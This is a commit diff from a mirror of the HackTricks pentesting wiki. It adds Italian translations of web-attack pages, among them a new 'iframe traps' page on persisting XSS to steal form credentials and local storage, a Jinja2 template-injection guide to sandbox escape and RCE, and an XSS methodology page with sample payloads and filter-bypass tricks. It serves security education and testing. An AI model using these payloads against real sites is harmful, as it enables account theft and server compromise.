mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['pentesting-web/iframe-traps.md', 'pentesting-web/ssti-serve
This commit is contained in:
parent
04aa0296a3
commit
99d4bbcf87
7 changed files with 170 additions and 74 deletions
BIN
.gitbook/assets/image (1248).png
Normal file
BIN
.gitbook/assets/image (1248).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 33 KiB |
BIN
.gitbook/assets/image (1249).png
Normal file
BIN
.gitbook/assets/image (1249).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 27 KiB |
|
@ -587,7 +587,6 @@
|
|||
* [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md)
|
||||
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
|
||||
* [IDOR](pentesting-web/idor.md)
|
||||
* [Integer Overflow](pentesting-web/integer-overflow.md)
|
||||
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
|
||||
* [LDAP Injection](pentesting-web/ldap-injection.md)
|
||||
* [Login Bypass](pentesting-web/login-bypass/README.md)
|
||||
|
@ -651,6 +650,7 @@
|
|||
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
|
||||
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
|
||||
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
* [Integer Overflow](pentesting-web/xss-cross-site-scripting/integer-overflow.md)
|
||||
* [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md)
|
||||
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
|
||||
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
|
||||
|
@ -672,6 +672,7 @@
|
|||
* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
|
||||
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
|
||||
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
|
||||
* [Iframe Traps](pentesting-web/iframe-traps.md)
|
||||
|
||||
## ⛈️ Cloud Security
|
||||
|
||||
|
|
47
pentesting-web/iframe-traps.md
Normal file
47
pentesting-web/iframe-traps.md
Normal file
|
@ -0,0 +1,47 @@
|
|||
# Trappole Iframe
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la **tua azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
Questa forma di abuso di XSS tramite iframe per rubare informazioni dall'utente che si sposta sulla pagina web è stata originariamente pubblicata in questi 2 post da trustedsec.com: [**qui**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **e** [**qui**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
|
||||
|
||||
L'attacco inizia in una pagina vulnerabile a un XSS dove è possibile fare in modo che le **vittime non lascino l'XSS** facendole **navigare all'interno di un iframe** che occupa l'intera applicazione web.
|
||||
|
||||
L'attacco XSS caricherà essenzialmente la pagina web in un iframe al 100% dello schermo. Pertanto, la vittima **non si accorgerà di essere all'interno di un iframe**. Quindi, se la vittima naviga nella pagina cliccando sui link all'interno dell'iframe (all'interno della pagina web), starà **navigando all'interno dell'iframe** con il JS arbitrario caricato che ruba informazioni da questa navigazione.
|
||||
|
||||
Inoltre, per renderlo più realistico, è possibile utilizzare alcuni **ascoltatori** per controllare quando un iframe cambia la posizione della pagina e aggiornare l'URL del browser con quelle posizioni in modo che l'utente pensi di spostarsi tra le pagine utilizzando il browser.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
|
||||
|
||||
Inoltre, è possibile utilizzare degli ascoltatori per rubare informazioni sensibili, non solo dalle altre pagine che la vittima sta visitando, ma anche dai dati utilizzati per **compilare moduli** e inviarli (credenziali?) o per **rubare lo storage locale**...
|
||||
|
||||
Naturalmente, i principali limiti sono che una **vittima che chiude la scheda o inserisce un'altra URL nel browser sfuggirà dall'iframe**. Un altro modo per fare ciò sarebbe **aggiornare la pagina**, tuttavia, questo potrebbe essere parzialmente **prevenuto** disabilitando il menu contestuale del clic destro ogni volta che una nuova pagina viene caricata all'interno dell'iframe o notando quando il mouse dell'utente esce dall'iframe, potenzialmente per fare clic sul pulsante di ricarica del browser e in questo caso l'URL del browser viene aggiornato con l'URL originale vulnerabile a XSS quindi se l'utente lo ricarica, verrà nuovamente avvelenato (nota che questo non è molto stealth).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la **tua azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -32,7 +32,7 @@ app.run()
|
|||
```
|
||||
### **Dichiarazione di Debug**
|
||||
|
||||
Se l'estensione Debug è abilitata, sarà disponibile un tag `debug` per visualizzare il contesto corrente, nonché i filtri e i test disponibili. Questo è utile per vedere cosa è disponibile da utilizzare nel template senza configurare un debugger.
|
||||
Se l'estensione Debug è abilitata, sarà disponibile un tag `debug` per visualizzare il contesto attuale, nonché i filtri e i test disponibili. Questo è utile per vedere cosa è disponibile per l'uso nel template senza dover configurare un debugger.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -43,6 +43,7 @@ Se l'estensione Debug è abilitata, sarà disponibile un tag `debug` per visuali
|
|||
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
### **Dump di tutte le variabili di configurazione**
|
||||
|
@ -60,6 +61,7 @@ Fonte: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
## **Iniezione di Jinja**
|
||||
|
||||
|
@ -79,9 +81,9 @@ request
|
|||
```
|
||||
### Recupero di \<class 'object'>
|
||||
|
||||
Quindi, da questi oggetti dobbiamo arrivare alla classe: **`<class 'object'>`** per cercare di **recuperare** le **classi** definite. Questo perché da questo oggetto possiamo chiamare il metodo **`__subclasses__`** e **accedere a tutte le classi dall'ambiente python non sandboxato**.
|
||||
Successivamente, da questi oggetti dobbiamo arrivare alla classe: **`<class 'object'>`** per cercare di **recuperare** le **classi** definite. Questo perché da questo oggetto possiamo chiamare il metodo **`__subclasses__`** e **accedere a tutte le classi dall'ambiente python non sandboxato**.
|
||||
|
||||
Per accedere a quella **classe oggetto**, è necessario **accedere a un oggetto classe** e quindi accedere a **`__base__`**, **`__mro()[-1]`** o `.`**`mro()[-1]`**. E poi, **dopo** aver raggiunto questa **classe oggetto** **chiamiamo** **`__subclasses__()`**.
|
||||
Per accedere a quella **classe oggetto**, è necessario **accedere a un oggetto classe** e quindi accedere a **`__base__`**, **`__mro__()[-1]`** o `.`**`mro()[-1]`**. E poi, **dopo** aver raggiunto questa **classe oggetto** **chiamiamo** **`__subclasses__()`**.
|
||||
|
||||
Controlla questi esempi:
|
||||
```python
|
||||
|
@ -119,11 +121,12 @@ dict.__mro__[-1]
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
```
|
||||
### Fuga di RCE
|
||||
### Fuga RCE
|
||||
|
||||
**Avendo recuperato** `<class 'object'>` e chiamato `__subclasses__` possiamo ora utilizzare quelle classi per leggere e scrivere file ed eseguire codice.
|
||||
|
||||
|
@ -196,6 +199,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
* [**Torna qui per più opzioni per accedere a un oggetto globale**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**Torna qui per più opzioni per accedere alla classe oggetto**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
|
@ -209,7 +213,7 @@ Per impostazione predefinita, Flask codifica HTML all'interno di un modello per
|
|||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**Il filtro `safe`** ci permette di iniettare JavaScript e HTML nella pagina **senza** che venga **codificato in HTML**, come segue:
|
||||
Il filtro `safe` ci permette di iniettare JavaScript e HTML nella pagina **senza** che venga **codificato in HTML**, come segue:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
|
@ -235,13 +239,14 @@ Senza **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
## Iniezione di Jinja senza **\<class 'object'>**
|
||||
|
||||
Dai [**oggetti globali**](jinja2-ssti.md#accessing-global-objects) c'è un altro modo per ottenere **RCE senza utilizzare quella classe.**\
|
||||
Se riesci ad accedere a qualsiasi **funzione** da quegli oggetti globali, sarai in grado di accedere a **`__globals__.__builtins__`** e da lì la **RCE** è molto **semplice**.
|
||||
|
||||
Puoi **trovare funzioni** dagli oggetti **`request`**, **`config`** e da qualsiasi **altro** oggetto globale interessante a cui hai accesso con:
|
||||
Puoi **trovare funzioni** dagli oggetti **`request`**, **`config`** e da qualsiasi **altro** oggetto **globale** interessante a cui hai accesso con:
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
|
@ -284,7 +289,7 @@ Una volta che hai trovato alcune funzioni, puoi recuperare i builtins con:
|
|||
```
|
||||
### Fuzzing WAF bypass
|
||||
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于CTF的工具,但在真实场景中也可以用来暴力破解无效参数。该工具仅仅是喷射单词和查询以检测过滤器,搜索绕过方式,并提供一个交互式控制台。
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于 CTF 的工具,但也可以用于在真实场景中暴力破解无效参数。该工具只是喷射单词和查询以检测过滤器,搜索绕过,并提供交互式控制台。
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
|
@ -312,17 +317,17 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
|||
## Riferimenti
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
* Controlla [l'astuzia dell'attributo per aggirare i caratteri in lista nera qui](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* Controlla [il trucco dell'attributo per aggirare i caratteri in blacklist qui](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la **tua azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ciò che sembra impossibile - **stiamo assumendo!** (_richiesta competenza fluente in polacco scritta e parlata_).
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ciò che sembra impossibile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, sia scritta che parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -28,10 +28,10 @@ Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ci
|
|||
2. Puoi eludere la stringa ed eseguire diverso codice JS?
|
||||
3. I tuoi input sono all'interno di template letterali \`\`?
|
||||
4. Puoi eludere le protezioni?
|
||||
4. Funzione **JavaScript** in fase di **esecuzione**
|
||||
4. **Funzione** JavaScript in **esecuzione**
|
||||
1. Puoi indicare il nome della funzione da eseguire. es.: `?callback=alert(1)`
|
||||
4. Se **utilizzato**:
|
||||
1. Potresti sfruttare un **DOM XSS**, presta attenzione a come il tuo input è controllato e se il tuo **input controllato è utilizzato da qualche sink**.
|
||||
1. Potresti sfruttare un **DOM XSS**, presta attenzione a come il tuo input è controllato e se il tuo **input controllato viene utilizzato da qualche sink**.
|
||||
|
||||
Quando lavori su un XSS complesso potrebbe interessarti sapere di più su:
|
||||
|
||||
|
@ -41,29 +41,29 @@ Quando lavori su un XSS complesso potrebbe interessarti sapere di più su:
|
|||
|
||||
## Valori Riflessi
|
||||
|
||||
Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
|
||||
Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflessa** nella pagina web.
|
||||
|
||||
* **Riflesso in modo intermedio**: Se scopri che il valore di un parametro o addirittura il percorso viene riflesso nella pagina web, potresti sfruttare un **XSS Riflesso**.
|
||||
* **Salvato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina, potresti sfruttare un **XSS Memorizzato**.
|
||||
* **Riflesso in modo intermedio**: Se scopri che il valore di un parametro o addirittura il percorso viene riflessa nella pagina web, potresti sfruttare un **XSS Riflesso**.
|
||||
* **Salvato e riflessa**: Se scopri che un valore controllato da te è salvato nel server e viene riflessa ogni volta che accedi a una pagina, potresti sfruttare un **XSS Memorizzato**.
|
||||
* **Accesso tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.
|
||||
|
||||
## Contesti
|
||||
|
||||
Quando cerchi di sfruttare un XSS la prima cosa da sapere è **dove viene riflesso il tuo input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
Quando cerchi di sfruttare un XSS la prima cosa da sapere è **dove viene riflessa la tua input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
|
||||
### HTML Grezzo
|
||||
|
||||
Se il tuo input è **riflesso nella pagina HTML grezza** dovrai sfruttare alcuni **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti tag HTML possibili che potresti utilizzare.\
|
||||
Inoltre, tieni presente [l'Iniezione di Template Lato Client](../client-side-template-injection-csti.md).
|
||||
Se la tua input è **riflessa nell'HTML grezzo** dovrai sfruttare alcuni **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti utilizzare.\
|
||||
Inoltre, tieni presente [Iniezione di Template Lato Client](../client-side-template-injection-csti.md).
|
||||
|
||||
### All'interno dell'attributo dei tag HTML
|
||||
|
||||
Se il tuo input è riflesso all'interno del valore dell'attributo di un tag, potresti provare:
|
||||
Se la tua input è riflessa all'interno del valore dell'attributo di un tag, potresti provare:
|
||||
|
||||
1. A **uscire dall'attributo e dal tag** (quindi sarai nell'HTML grezzo) e creare un nuovo tag HTML per sfruttare: `"><img [...]`
|
||||
1. **Esci dall'attributo e dal tag** (quindi sarai nell'HTML grezzo) e crea un nuovo tag HTML da sfruttare: `"><img [...]`
|
||||
2. Se **puoi uscire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se **non puoi uscire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** riflette il tuo valore e se **controlli tutto il valore o solo una parte** sarai in grado di sfruttarlo. Ad **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire codice arbitrario quando viene cliccato. Un altro **esempio** interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Se il tuo input è riflesso all'interno di "**tag non esplorabili**" potresti provare il trucco di **`accesskey`** per sfruttare la vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Se **non puoi uscire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** riflette il tuo valore e se **controlli tutto il valore o solo una parte** potrai sfruttarlo. Ad **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire codice arbitrario quando viene cliccato. Un altro esempio interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Se la tua input è riflessa all'interno di "**tag non esplorabili**" potresti provare il trucco di **`accesskey`** per sfruttare la vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarlo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
||||
```html
|
||||
|
@ -76,12 +76,12 @@ Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
|||
In questo caso, il tuo input viene riflessato tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**:
|
||||
|
||||
* Se viene riflessato tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` ed uscire da questo contesto. Questo funziona perché il **browser analizzerà prima i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `</script>` iniettato è all'interno del codice HTML.
|
||||
* Se viene riflessato **all'interno di una stringa JS** e il trucco precedente non funziona, dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se ci sono errori, non verranno eseguiti):
|
||||
* Se viene riflessato **all'interno di una stringa JS** e il trucco precedente non funziona, dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* Se viene riflessato all'interno di template letterali, puoi **inserire espressioni JS** utilizzando la sintassi `${ ... }`: `` var greetings = `Ciao, ${alert(1)}` ``
|
||||
* **La codifica Unicode** funziona per scrivere **codice JavaScript valido**:
|
||||
* L'**encoding Unicode** funziona per scrivere **codice JavaScript valido**:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
|
@ -120,9 +120,9 @@ parentElement
|
|||
```
|
||||
Puoi anche provare a **attivare le funzioni Javascript** direttamente: `obj.sales.delOrders`.
|
||||
|
||||
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, **altre pagine nella stessa origine** avranno un DOM **più interessante** per eseguire più azioni.
|
||||
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, **altre pagine nella stessa origine** avranno un **DOM più interessante** per eseguire più azioni.
|
||||
|
||||
Pertanto, per **abusare di questa vulnerabilità in un DOM diverso** è stata sviluppata l'exploit **Same Origin Method Execution (SOME)**:
|
||||
Pertanto, per **sfruttare questa vulnerabilità in un diverso DOM** è stata sviluppata l'exploit **Same Origin Method Execution (SOME)**:
|
||||
|
||||
{% content-ref url="some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
||||
|
@ -130,7 +130,7 @@ Pertanto, per **abusare di questa vulnerabilità in un DOM diverso** è stata sv
|
|||
|
||||
### DOM
|
||||
|
||||
C'è del **codice JS** che sta utilizzando in modo **non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe abusarne per eseguire codice JS arbitrario.
|
||||
C'è del **codice JS** che sta utilizzando in modo **non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire codice JS arbitrario.
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -156,7 +156,7 @@ Alcuni **esempi**:
|
|||
## Iniezione all'interno di HTML grezzo
|
||||
|
||||
Quando il tuo input viene riflesso **all'interno della pagina HTML** o puoi eseguire l'escape e iniettare codice HTML in questo contesto, la **prima** cosa da fare è controllare se puoi abusare di `<` per creare nuovi tag: Prova semplicemente a **riflettere** quel **carattere** e controlla se viene **codificato in HTML** o **eliminato** oppure se viene **riflesso senza modifiche**. **Solo in quest'ultimo caso sarai in grado di sfruttare questo caso**.\
|
||||
Per questi casi, tieni presente anche [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
Per questi casi tieni presente anche [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: Un commento HTML può essere chiuso usando**** ****`-->`**** ****o**** ****`--!>`**_
|
||||
|
||||
In questo caso e se non viene utilizzata alcuna lista nera/lista bianca, potresti utilizzare payload come:
|
||||
|
@ -165,22 +165,22 @@ In questo caso e se non viene utilizzata alcuna lista nera/lista bianca, potrest
|
|||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Ma, se viene utilizzato il filtraggio dei tag/attributi black/whitelist, sarà necessario **forzare a tentativi quali tag** è possibile creare.\
|
||||
Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare a tentativi attributi/eventi** all'interno dei tag validi trovati per vedere come puoi attaccare il contesto.
|
||||
Ma, se viene utilizzato il filtraggio dei tag/attributi black/whitelist, sarà necessario **forzare quali tag** è possibile creare.\
|
||||
Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare gli attributi/eventi** all'interno dei tag validi trovati per capire come puoi attaccare il contesto.
|
||||
|
||||
### Forzare a tentativi tag/eventi
|
||||
### Forzatura dei tag/eventi
|
||||
|
||||
Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia tag negli appunti**_. Quindi, inviali tutti utilizzando Burp intruder e controlla se qualche tag non è stato rilevato come dannoso dal WAF. Una volta scoperti quali tag puoi utilizzare, puoi **forzare a tentativi tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia eventi negli appunti**_ e segui la stessa procedura come prima).
|
||||
Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia i tag negli appunti**_. Quindi, inviali tutti utilizzando Burp intruder e controlla se qualche tag non è stato rilevato come dannoso dal WAF. Una volta scoperti quali tag puoi utilizzare, puoi **forzare tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia gli eventi negli appunti**_ e segui la stessa procedura come prima).
|
||||
|
||||
### Tag personalizzati
|
||||
|
||||
Se non hai trovato nessun tag HTML valido, potresti provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per fare sì che la pagina **si concentri su quell'oggetto** ed **esegua** il codice:
|
||||
Se non hai trovato nessun tag HTML valido, potresti provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, è necessario terminare l'URL con `#` per fare sì che la pagina **si concentri su quell'oggetto** ed **esegua** il codice:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
### Bypass delle liste nere
|
||||
|
||||
Se viene utilizzata una sorta di lista nera, potresti provare a evitarla con alcuni trucchi sciocchi:
|
||||
Se viene utilizzata qualche tipo di lista nera, potresti provare a evitarla con alcuni trucchi sciocchi:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
|
@ -233,13 +233,17 @@ onerror=alert`1`
|
|||
### Bypass della lunghezza (piccoli XSS)
|
||||
|
||||
{% hint style="info" %}
|
||||
**Altri piccoli XSS per ambienti diversi** payload **possono essere trovati qui** e **qui**.
|
||||
**Altri piccoli XSS per ambienti diversi** il payload **può essere trovato qui** e **qui**.
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``>
|
||||
<script src=//aa.es>
|
||||
<script src=//℡㏛.pw>
|
||||
```
|
||||
L'ultimo consiste nell'utilizzare 2 caratteri unicode che si espandono a 5: telsr\
|
||||
Altri di questi caratteri possono essere trovati [qui](https://www.unicode.org/charts/normalization/).\
|
||||
Per verificare in quali caratteri sono scomposti, controlla [qui](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Se per sfruttare la vulnerabilità è necessario che **l'utente faccia clic su un link o un modulo** con dati precompilati, potresti provare a [**abusare del Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
|
||||
|
@ -270,12 +274,12 @@ Se **non puoi fuggire dal tag**, potresti creare nuovi attributi all'interno del
|
|||
```
|
||||
### All'interno dell'attributo
|
||||
|
||||
Anche se **non puoi evadere dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflettuto **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire del codice arbitrario quando viene cliccato.\
|
||||
Un altro interessante **esempio** è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire del codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
Anche se **non puoi evadere dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflettuto, se **controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=`, sarai in grado di far eseguire del codice arbitrario quando viene cliccato.\
|
||||
